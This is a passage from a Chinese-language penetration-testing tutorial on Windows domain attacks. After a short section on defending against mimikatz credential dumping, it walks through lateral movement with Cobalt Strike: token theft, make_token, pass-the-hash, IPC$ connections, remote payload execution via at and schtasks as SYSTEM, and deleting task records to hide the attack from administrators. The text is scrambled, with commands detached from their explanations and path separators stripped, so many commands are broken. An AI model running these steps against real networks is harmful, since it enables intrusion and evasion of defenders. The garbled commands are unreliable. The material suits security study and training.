http://www.cmd5.com
http://www.xmd5.com
(4)常用选项 使用“hashcat -h”,可以查看Hashcat支持的所有选项。常用选项列举如下。 -show:仅显示已经破解的密码。 -o, -outfile=FILE: 定义散列值文件,恢复文件名和保存位置。 -n, -threads=NUM:线程数。 –remove:把破解出来的密码从散列值列表中移除。 –segment-size 512:设置内存缓存的大小(可以提高破解速度),单位为MB。 网上也有很多在线破解网站,这里推荐两个。
2.5 如何防范攻击者抓取明文密码和散列值 1、设置Active Directory 2012 R2功能级别 Windows Server 2012 R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放入该组,攻击者就无法使用mimikatz等工具抓取明文密码和散列值了。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
再次通过mimikatz抓取密码。 2、安装KB2871997 KB2871997是微软用来解决PsExec或IPC远程查看( c$)问题的补丁,能使本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator这个SID为500的用户例外——即使将Administrator改名,该账号的SID仍为500,攻击者仍然可以使用横向攻击方法获得内网中其他计算机的控制权。安装KB2871997后,仍需禁用默认的Administrator账号,以防御哈希传递攻击。 3、通过修改注册表禁止在内存中存储明文密码 微软在Windows XP版本中添加了一个名为WDigest的协议。该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。 通过修改注册表的方式,即可解决内存中以明文存储密码的问题。执行如下命令,在注册表中添加一个键值,将其设置为0。
reg query HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential
注销后,Windows就不会再将明文密码存储在内存中了。 执行”reg query”命令,查询该键值是否添加成功。 因为NTLM Hash是很难被破解的,所以,如果设置的Windows密码足够强壮,并养成定期修改密码的习惯,就可以降低系统被彻底攻陷的可能性。 4、防御mimikatz攻击 根据Debug权限确定哪些用户可以将调试器附加到任何进程或内核中。在默认情况下,此权限为本地管理员Administrator所有,如图5-46所示。不过,除非是系统进程,本地管理员几乎不需要使用此权限。
mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和 Isass进程进行交互,如果没有Debug权限,mimikatz将不能读取 Isass进程),因此我们只要将拥有 Debug权限的本地管理员从 Administrators 组中删除。重启系统,再次运行mimikatz,输入“privilege::debug”,将看到错误信息。此时,已经无法使用mimikatz抓取散列值及明文密码了。
三、登录认证 3.1 制作标记(token) 通过前期的信息收集我们可以发现,域管理员曾在WIN7-SP这台域内主机上登录,而我们获取到的主机又是WIN7-SP的本地超级管理员。因此现在我们可以通过psexec获取先获取到WIN7-SP这台主机的权限 因为后续所需要进行的是内网渗透,这时候我们可以创建一个SMB的监听器,因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
具体步骤如下: 1.点击View->Targets可以查看到之前获取到的域内存活的主机信息。 2.右键点击需要进行横向渗透的主机Win7-sp。 3.选择使用到的会话和监听器即可。 执行以后我们就可以成功获取到WIN7-SP的权限了,而且是系统权限。
现在我们再执行Mimikatz获取WIN7-SP主机上的凭证信息。 可以看到我们成功获取到了DC的明文和hash密码。 现在我们可以通过steal_token ID 获取域管权限。 这时候通过shell whoami 可以看到我们已经成功获取到域管理员身份了。 现在输入shell dir dcc$ 命令可以看到可以成功访问到域控的C盘。
然后可以输入rev2self恢复到原来的令牌,可以看到已经不能对DC的盘符进行访问了。 我们也可以用mimikatz收集到的密码 用凭证制作一个标记 (令牌token电脑计算机的临时身份)。 命令:make_token domainuser password 效果如下:
可以看到,在我们制作标记以后就可以成功获得域控访问权限了。 3.2 散列认证 在获取到域管理员的ntml哈希以后,我们就可以通过pth获取域控制器的访问权限。 命令:pth domainusername ntml 效果如下:
net use \需要连接的IP地址ipc$ "密码" /user:账号
3.3 IPC连接 IPC ( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。 通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。 利用条件: 1.开启了139、445端口 2.管理员开启了默认共享 连接失败原因: 1.用户名密码错误。 2.目标没有打开ipc$默认共享。 3.不能成功连接目标的139、445端口 4.命令输入错误。 IPC常见错误问题解决方式可以参考:(43条消息) ipc连接常见问题_海阔天空-CSDN博客 具体步骤如下: 1、建立一个ipc$,输入如下命令:
shell dir \1.1.1.2c$
shell tasklist /S 远程IP地址 /U 用户名 /P 密码
2、使用windows自带的工具获取远程主机信息 1.dir命令 在使用net use 命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件。 2.tasklist命令 在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的 /S /U /P参数列出远程主机上运行的进程。
net time \1.1.1.2
3、计时任务 1)at命令 at是Windows自带的用于创建计时任务的命令,它主要工作在Windows Server 2008 之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下。 1.使用net time命令确定远程机器当前的系统时间。 2.使用copy命令将Payload 文件复制到远程目标机器中。 3.使用at命令定时启动该Payload 文件。 4.删除使用at命令创建计划任务的记录。 (1)查看目标系统时间 net time 命令用于查看远程主机的系统时间,执行如下命令。
shell copy calc.bat \1.1.1.2c$
(2)将文件复制到目标系统中 首先,在本地创建一个ipconfig.bat文件,其内容为“cmd.exe ipconfig > 1.txt”。然后,让 Windows运行一个“计算器”程序,使用Windows自带的copy命令将一个文件复制到远程主机的C盘中。命令如下。
shell at \1.1.1.23 21:00:00 c:calc.bat
shell at \1.1.1.10 20:45:00 cmd.exe /c "ipconfig > c:/1.txt"
(3)使用at创建定时任务 命令的意思是,创建一个ID为7的计时任务,内容是在下午4点11份运行C盘下的calc.bat。命令执行后,可以看到calc.exe成功运行。 也可以直接创建一个定时任务来执行CMD命令,命令如下。
shell type \1.1.1.10c$1.txt
shell at \1.1.1.10 7 /del
通过如下命令进行查看结果。 (4)清除at记录 计划任务不会随着它本身的执行而删除,因此,网络管理员可以通过攻击者创建的计时任务获知网络遭受了攻击。但是我们也可以通过一些命令来删除计划任务。 再次查看可以发现ID为7的任务被成功删除。
shell schtasks /create /s 1.1.1.2 /tn test /sc onstart /tr c:calc.bat /ru system /f /u administrator /p "密码"
2)schtasks 命令 Windows Vista、Windows Server 2008及之后版本的操作系统已经将at命令废弃了。于是,攻击者开始使用schtasks命令代替at命令。schtasks命令比 at命令更为灵活、自由。下面通过实验分析一下schtasks命令的用法。在远程主机上创建一个名称为“test”的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat,启动权限为System。命令如下。
这条命令的解释是在IP为1.1.1.2主机上创建一个开启自启动的定时任务,定时任务名称为test,以system的权限执行打开c盘下的calc.bat文件,文件的内容是打开计算器。若定时任务存在,则发出警告。如果未与目标主机建立IPC连接,需要输入用户名和密码的参数。 schtasks命令参数解释可以参考官方手册:schtasks 命令 | Microsoft Docs
shell schtasks /run /s 1.1.1.2 /i /tn "test" /u administrator /p "密码"
schtasks /delete /s 1.1.1.2 /tn "test" /f
net use \目标ip /del /y
计划任务创建成功后,输入如下命令执行计划任务。 在目标系统上可以看到计算机被成功打开。 在计划任务运行后,输入如下命令,删除该计划任务,命令如下。 此后,如果还需要删除ipc$,命令如下。 在删除ipc。在使用schtasks命令时,会在系统中留下日志文件C:WindowsTasksSchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。 3.4 黄金票据 创建票据所需条件如下: ●任意用户名 ●域名 ●域sid ●krbtgt用户散列
尝试访问dc的c盘文件,判断是否已经具备了域管权限。 四、后语 在本篇文章中,斗哥介绍了一些获取用户散列的方式以及伪造域管身份进行横向渗透,在下一篇文章中,斗哥将继续给大家介绍通过其他的方式进行横向渗透,敬请期待! 五、参考链接 1.《内网安全攻防渗透测试实战指南》